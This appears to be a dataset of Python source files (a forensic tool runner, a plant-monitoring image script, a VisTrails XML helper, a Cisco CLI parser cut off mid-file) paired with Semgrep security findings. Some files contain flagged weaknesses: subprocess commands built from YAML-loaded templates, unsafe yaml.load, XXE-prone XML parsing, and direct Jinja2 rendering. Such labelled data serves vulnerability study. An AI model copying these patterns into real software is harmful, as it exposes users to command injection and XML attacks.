import yaml import shlex import logging import subprocess class LogicalToolManager(object): def __init__(self): self.handlers = [] def set_handler(self, handler): self.handlers.append(handler) @staticmethod def from_file(filename): tool_manager = LogicalToolManager() with open(filename, u'rb') as fh: template = yaml.load(fh) handler_dict = template['Handlers'] for handler_name, handler_dict in handler_dict.items(): handler = LogicalToolHandler.from_dict( handler_name, handler_dict ) tool_manager.set_handler( handler ) return tool_manager def run(self, arango_handler, options): for handler in self.handlers: handler.run(arango_handler, options) class LogicalToolHandler(object): def __init__(self, name, tool, parameters): self.name = name self.tool = tool self.parameters = parameters @staticmethod def from_dict(name, dictionary): return LogicalToolHandler( name, dictionary['tool'], dictionary['parameters'] ) def run(self, arango_handler, options): logging.info(u"[starting] Processing: {}".format(self.name)) parameters = u"{} {}".format(self.tool, self.parameters) arguments = parameters.format( options ) arguments = shlex.split(arguments, posix=False) logging.debug(u"Command: {}".format(u" ".join(arguments))) output, error = subprocess.Popen( arguments, stdout=subprocess.PIPE, stderr=subprocess.PIPE ).communicate() if output: arango_handler.insert_jsonl( self.name, output ) if error: logging.error(error) logging.info(u"[finished] Processing: {}".format(self.name))
75
25.89
68
15
379
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_cfdf5f136cfb1ab8_c45fa1a3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 60, "line_end": 64, "column_start": 25, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmp10dxl77l/cfdf5f136cfb1ab8.py", "start": {"line": 60, "col": 25, "offset": 1634}, "end": {"line": 64, "col": 10, "offset": 1755}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-subprocess-use-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 60 ]
[ 64 ]
[ 25 ]
[ 10 ]
[ "A01:2017 - Injection" ]
[ "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
LogicalToolHandler.py
/libla/LogicalToolHandler.py
forensicmatt/LogicalAvacado
Apache-2.0
2024-11-18T21:51:03.919585+00:00
1,627,764,495,000
e7bd9478d516af634e55c1e86ea17dc9decaaa41
3
{ "blob_id": "e7bd9478d516af634e55c1e86ea17dc9decaaa41", "branch_name": "refs/heads/master", "committer_date": 1627764495000, "content_id": "3276f7f9d39130dc1c5b364c169dc9c55465dfef", "detected_licenses": [ "MIT" ], "directory_id": "7f7da4967f06d899879c1e4681812243ef567549", "extension": "py", "filename": "specimen.py", "fork_events_count": 0, "gha_created_at": 1627676093000, "gha_event_created_at": 1627764546000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 391179113, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3216, "license": "MIT", "license_type": "permissive", "path": "/app/specimen.py", "provenance": "stack-edu-0054.json.gz:588350", "repo_name": "berlonics/growlab", "revision_date": 1627764495000, "revision_id": "7ed3062327a53ee5771543a6e3c804d4884a0aec", "snapshot_id": "4c62a4b58c2111e2d0d023e7033b653c8e0ed254", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/berlonics/growlab/7ed3062327a53ee5771543a6e3c804d4884a0aec/app/specimen.py", "visit_date": "2023-09-01T00:19:04.764500" }
2.5625
stackv2
from PIL import Image, ImageFont, ImageDraw from jinja2 import Template import time class specimen: def __init__(self, text_config, image_config): self.text_config = text_config self.image_config = image_config def save_image(self, filename, image, readings): with open(filename, 'wb') as file: file.write(image.getvalue()) msg = self.format(readings) img = Image.open(filename, "r").convert("RGBA") img_draw = ImageDraw.Draw(img) font = ImageFont.truetype('roboto/Roboto-Regular.ttf', self.text_config["size"]) colour = (self.text_config["colour"]["red"] ,self.text_config["colour"]["green"], self.text_config["colour"]["blue"]) text_size = img_draw.textsize(msg, font) pos = (10, 20) bg_size = (text_size[0]+30, text_size[1]+50) bg_img = Image.new('RGBA', img.size, (0, 0, 0, 0)) bg_draw = ImageDraw.Draw(bg_img) overlay_transparency = 100 bg_draw.rectangle((pos[0], pos[1], bg_size[0], bg_size[1]), fill=(0, 0, 0, overlay_transparency), outline=(255, 255, 255)) bg_draw.text(xy=(pos[0]+10, pos[1]+10), text=msg, fill=colour, font=font) out = Image.alpha_composite(img, bg_img) print("Saving {}..".format(filename)) r = out.convert('RGB') r.save(filename, "JPEG") print("Saved {}..OK".format(filename)) def format(self, readings): degree_symbol=u"\u00b0" msg = "#growlab - {}\n".format(readings["time"]) if "temperature" in readings: msg = msg + " Temperature: {:05.2f}{}C \n".format(readings["temperature"],degree_symbol) if "pressure" in readings: msg = msg + " Pressure: {:05.2f}hPa \n".format(readings["pressure"]) if "humidity" in readings: msg = msg + " Humidity: {:05.2f}% \n".format(readings["humidity"]) return msg.rstrip() + " " def save_html(self, input_filename, output_path, readings): img = Image.open(input_filename, "r") img = img.resize((int(self.image_config["width"]/2), int(self.image_config["height"]/2)), Image.ANTIALIAS) img.save(output_path+"/preview.jpg", "JPEG") template_text = "" with open("index.jinja", 'r') as file: template_text = file.read() template = Template(template_text) degree_symbol=u"\u00b0" vals = {} vals["time"] = readings["time"] if "temperature" in readings: vals["temperature"] = "{:05.2f}{}C".format(readings["temperature"], degree_symbol) else: vals["temperature"] = "N/A" if "humidity" in readings: vals["humidity"] = "{:05.2f}%".format(readings["humidity"]) else: vals["humidity"] = "N/A" if "pressure" in readings: vals["pressure"] = "{:05.2f}hPa".format(readings["pressure"]) else: vals["pressure"] = "N/A" vals["uid"] = "{}".format(time.time()) html = template.render(vals) with open(output_path+"/index.html", "w") as html_file: html_file.write(html) print("Wrote {}..OK".format(output_path+"/index.html"))
85
36.84
130
16
845
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_198c17cf1f88909e_77fe1076", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 14, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/198c17cf1f88909e.py", "start": {"line": 57, "col": 14, "offset": 2248}, "end": {"line": 57, "col": 38, "offset": 2272}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_198c17cf1f88909e_bdd13a96", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 82, "line_end": 82, "column_start": 16, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmp10dxl77l/198c17cf1f88909e.py", "start": {"line": 82, "col": 16, "offset": 3028}, "end": {"line": 82, "col": 37, "offset": 3049}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_198c17cf1f88909e_0029c00e", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 14, "column_end": 50, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/198c17cf1f88909e.py", "start": {"line": 83, "col": 14, "offset": 3063}, "end": {"line": 83, "col": 50, "offset": 3099}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-79" ]
[ "rules.python.flask.security.xss.audit.direct-use-of-jinja2" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 82 ]
[ 82 ]
[ 16 ]
[ 37 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
specimen.py
/app/specimen.py
berlonics/growlab
MIT
2024-11-18T21:51:13.065840+00:00
1,453,332,610,000
706ac55dbe7450627799feb235843bb20a8b5c62
3
{ "blob_id": "706ac55dbe7450627799feb235843bb20a8b5c62", "branch_name": "refs/heads/master", "committer_date": 1453332610000, "content_id": "3d93a382574819731896ef8aca825d3cdc681ce6", "detected_licenses": [ "BSD-3-Clause" ], "directory_id": "01175abc7d44d788a322ad2c6cdc7ea5daee4165", "extension": "py", "filename": "uxml.py", "fork_events_count": 0, "gha_created_at": 1453330157000, "gha_event_created_at": 1453330157000, "gha_language": null, "gha_license_id": null, "github_id": 50065923, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8283, "license": "BSD-3-Clause", "license_type": "permissive", "path": "/vistrails_current/vistrails/core/utils/uxml.py", "provenance": "stack-edu-0054.json.gz:588405", "repo_name": "lumig242/VisTrailsRecommendation", "revision_date": 1453332610000, "revision_id": "23ef56ec24b85c82416e1437a08381635328abe5", "snapshot_id": "917c53fbd940b3075e629d15ed41725c01db6ce3", "src_encoding": "UTF-8", "star_events_count": 3, "url": "https://raw.githubusercontent.com/lumig242/VisTrailsRecommendation/23ef56ec24b85c82416e1437a08381635328abe5/vistrails_current/vistrails/core/utils/uxml.py", "visit_date": "2020-04-11T01:20:50.193303" }
2.890625
stackv2
############################################################################### ## ## Copyright (C) 2011-2014, NYU-Poly. ## Copyright (C) 2006-2011, University of Utah. ## All rights reserved. ## Contact: contact@vistrails.org ## ## This file is part of VisTrails. ## ## "Redistribution and use in source and binary forms, with or without ## modification, are permitted provided that the following conditions are met: ## ## - Redistributions of source code must retain the above copyright notice, ## this list of conditions and the following disclaimer. ## - Redistributions in binary form must reproduce the above copyright ## notice, this list of conditions and the following disclaimer in the ## documentation and/or other materials provided with the distribution. ## - Neither the name of the University of Utah nor the names of its ## contributors may be used to endorse or promote products derived from ## this software without specific prior written permission. ## ## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ## AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, ## THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ## PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR ## CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, ## EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, ## PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; ## OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ## WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR ## OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ## ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." ## ############################################################################### from xml.dom import minidom import xml.parsers.expat import __builtin__ def eval_xml_value(node): """eval_xml_value(node) -> value evaluates an xml node as the following examples: <str value='foo'/> -> 'foo' <int value='3'/> -> 3 <float value='3.141592'> -> 3.141592 <bool value='False'> -> False """ key_name = node.nodeName type_ = getattr(__builtin__, key_name) str_value = str(node.attributes['value'].value) # Tricky case bool('False') == True if type_ == bool: if str_value == 'True': return True elif str_value == 'False': return False else: raise ValueError("eval_xml_value: Bogus bool value '%s'" % str_value) return type_(str_value) def quote_xml_value(dom, value): """quote_xml_value(dom, value) -> value quotes a value as an xml node so that eval_xml_value(quote_xml_value(dom, value)) == value <str value='foo'/> <- 'foo' <int value='3'/> <- 3 <float value='3.141592'> <- 3.141592 <bool value='False'> <- False """ el = dom.createElement(type(value).__name__) el.setAttribute('value', str(value)) return el def named_elements(element, elname): """named_elements(element, elname) -> Node Helper function that iterates over the element child Nodes searching for node with name elname. """ for node in element.childNodes: if node.nodeName == elname: yield node def enter_named_element(element, elname): """enter_named_element(element, elname) -> Node Returns first child of element with name elname """ for node in named_elements(element, elname): return node return None def elements_filter(element, element_predicate): """elements_filter(element, element_predicate) -> Node iterator Helper function that iterates over the element child Nodes searching for nodes that pass element_predicate, that is, node for which element_predicate(node) == True """ for node in element.childNodes: if element_predicate(node): yield node class XMLWrapper(object): """Helper to parse a general XML file. It provides functions to open and close files. It must be subclassed to parse specifi files. """ class XMLParseError(Exception): def __init__(self, line, char, code): self._line = line self._char = char self._code = code def __str__(self): return ("XML Parse error at line %s, col %s: %s" % (self._line, self._char, xml.parsers.expat.ErrorString(self._code))) def open_file(self, filename): """open_file(filename: str) -> None Parses an XML file. """ self.filename = filename try: self.dom = minidom.parse(filename) except xml.parsers.expat.ExpatError, e: raise self.XMLParseError(e.lineno, e.offset, e.code) def create_document_from_string(self, text): """parse_string(text:str) -> dom Parses an xml string and returns the DOM object """ try: dom = minidom.parseString(text) except xml.parsers.expat.ExpatError, e: raise self.XMLParseError(e.lineno, e.offset, e.code) return dom def close_file(self): """close_file() -> None Removes the association with the XML file loaded by open_file method. """ if self.dom: self.dom.unlink() self.filename = None self.dom = None def create_document(self, nodename): """create_document(nodename: str) -> xml element Creates a documentElement """ impl = minidom.getDOMImplementation() dom = impl.createDocument(None, nodename, None) return dom def write_document(self, root, filename): """write_document(root:xml element, filename: str) -> None Save as an XML file """ output_file = open(filename,'w') root.writexml(output_file, " ", " ", '\n') output_file.close() def __str__(self): """ __str__() -> str Returns the XML that self.dom represents as a string """ return self.dom.toprettyxml() ################################################################################ # Testing import unittest class TestXmlUtils(unittest.TestCase): def test_named_elements(self): """ Exercises searching for elements """ xmlStr = """<root> <child> <grandchild></grandchild> <grandchild></grandchild> </child> <child></child> </root>""" dom = minidom.parseString(xmlStr) root = dom.documentElement childcount = 0 for node in named_elements(root,'child'): childcount += 1 self.assertEquals(childcount,2) grandchildcount = 0 for node in named_elements(root,'grandchild'): grandchildcount += 1 self.assertEquals(grandchildcount,0) def test_eval_quote(self): xmlStr = """<root> <child> <grandchild></grandchild> <grandchild></grandchild> </child> <child></child> </root>""" dom = minidom.parseString(xmlStr) def do_it_1(v): q = quote_xml_value(dom, v) v2 = eval_xml_value(q) self.assertEquals(v, v2) def do_it_2(q): q = minidom.parseString(q).documentElement v = eval_xml_value(q) self.assertEquals(q.toxml(), quote_xml_value(dom, v).toxml()) do_it_1(2) do_it_1(3.0) do_it_1(False) do_it_1(True) do_it_1('Foobar') do_it_1('with<brackets>') do_it_2('<str value="Foo"/>') do_it_2('<bool value="False"/>') do_it_2('<bool value="True"/>') do_it_2('<int value="3"/>') do_it_2('<float value="4.0"/>') if __name__ == "__main__": unittest.main()
246
32.67
81
16
1,827
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_18ecbdc3219a47de_6723a419", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 35, "line_end": 35, "column_start": 1, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/18ecbdc3219a47de.py", "start": {"line": 35, "col": 1, "offset": 1880}, "end": {"line": 35, "col": 28, "offset": 1907}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_18ecbdc3219a47de_d6d1f916", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 1, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/18ecbdc3219a47de.py", "start": {"line": 36, "col": 1, "offset": 1908}, "end": {"line": 36, "col": 25, "offset": 1932}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_18ecbdc3219a47de_ebaf83de", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 177, "line_end": 177, "column_start": 23, "column_end": 41, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/18ecbdc3219a47de.py", "start": {"line": 177, "col": 23, "offset": 6043}, "end": {"line": 177, "col": 41, "offset": 6061}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "HIGH", "HIGH" ]
[ 35, 36 ]
[ 35, 36 ]
[ 1, 1 ]
[ 28, 25 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The Python documentation recommends using `defusedxml` ins...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
uxml.py
/vistrails_current/vistrails/core/utils/uxml.py
lumig242/VisTrailsRecommendation
BSD-3-Clause
2024-11-18T21:51:14.062967+00:00
1,693,348,322,000
539c88f8b1f3928446671b962e9e4f961e694d32
3
{ "blob_id": "539c88f8b1f3928446671b962e9e4f961e694d32", "branch_name": "refs/heads/master", "committer_date": 1693348322000, "content_id": "e93c4b2b2f007c2b81f09beb14ae3fca79b8ebe8", "detected_licenses": [ "Apache-2.0" ], "directory_id": "5ef6c8d47864f471e26b9902d61f8c687e941f05", "extension": "py", "filename": "show_prefix_list.py", "fork_events_count": 409, "gha_created_at": 1525107110000, "gha_event_created_at": 1693348324000, "gha_language": "Python", "gha_license_id": "Apache-2.0", "github_id": 131621824, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7734, "license": "Apache-2.0", "license_type": "permissive", "path": "/src/genie/libs/parser/iosxe/show_prefix_list.py", "provenance": "stack-edu-0054.json.gz:588412", "repo_name": "CiscoTestAutomation/genieparser", "revision_date": 1693348322000, "revision_id": "b531eff760b2e44cd69d7a2716db6f866907c239", "snapshot_id": "169c196558f1c1a0f0d10650876096f993224917", "src_encoding": "UTF-8", "star_events_count": 247, "url": "https://raw.githubusercontent.com/CiscoTestAutomation/genieparser/b531eff760b2e44cd69d7a2716db6f866907c239/src/genie/libs/parser/iosxe/show_prefix_list.py", "visit_date": "2023-09-03T08:56:18.831340" }
2.609375
stackv2
"""show_prefix_list.py IOSXE parsers for the following show commands: * show ip prefix-list detail * show ipv6 prefix-list detail """ # Python import re # Metaparser from genie.metaparser import MetaParser from genie.metaparser.util.schemaengine import Schema, Any, Optional # ============================================== # Parser for 'show ip prefix-list detail' # Parser for 'show ipv6 prefix-list detail' # ============================================== class ShowIpPrefixListDetailSchema(MetaParser): """Schema for show ip prefix-list detail show ipv6 prefix-list detail""" schema = {'prefix_set_name': {Any(): { 'prefix_set_name': str, Optional('protocol'): str, Optional('count'): int, Optional('range_entries'): int, Optional('sequences'): str, Optional('refcount'): int, Optional('prefixes'): {Any(): {Optional('prefix'): str, Optional('masklength_range'): str, Optional('sequence'): int, Optional('hit_count'): int, Optional('refcount'): int, Optional('action'): str, } }, }, }, } class ShowIpPrefixListDetail(ShowIpPrefixListDetailSchema): """Parser for: show ip prefix-list detail show ipv6 prefix-list detail""" cli_command = 'show {af} prefix-list detail' def cli(self, af='ip',output=None): # ip should be ip or ipv6 assert af in ['ip', 'ipv6'] # excute command to get output protocol = 'ipv4' if af == 'ip' else af if output is None: # get output from device out = self.device.execute(self.cli_command.format(af=af)) else: out = output # initial variables ret_dict = {} for line in out.splitlines(): line = line.strip() # ip prefix-list test: # ipv6 prefix-list test6: p1 = re.compile(r'^(ipv6|ip) +prefix\-list +(?P<name>\S+)\:$') m = p1.match(line) if m: name = m.groupdict()['name'] if 'prefix_set_name' not in ret_dict: ret_dict['prefix_set_name'] = {} if name not in ret_dict['prefix_set_name']: ret_dict['prefix_set_name'][name] = {} ret_dict['prefix_set_name'][name]['prefix_set_name'] = name continue # count: 5, range entries: 4, sequences: 5 - 25, refcount: 2 # count: 0, range entries: 0, refcount: 1 p2 = re.compile(r'^count: +(?P<count>\d+), +' 'range entries: 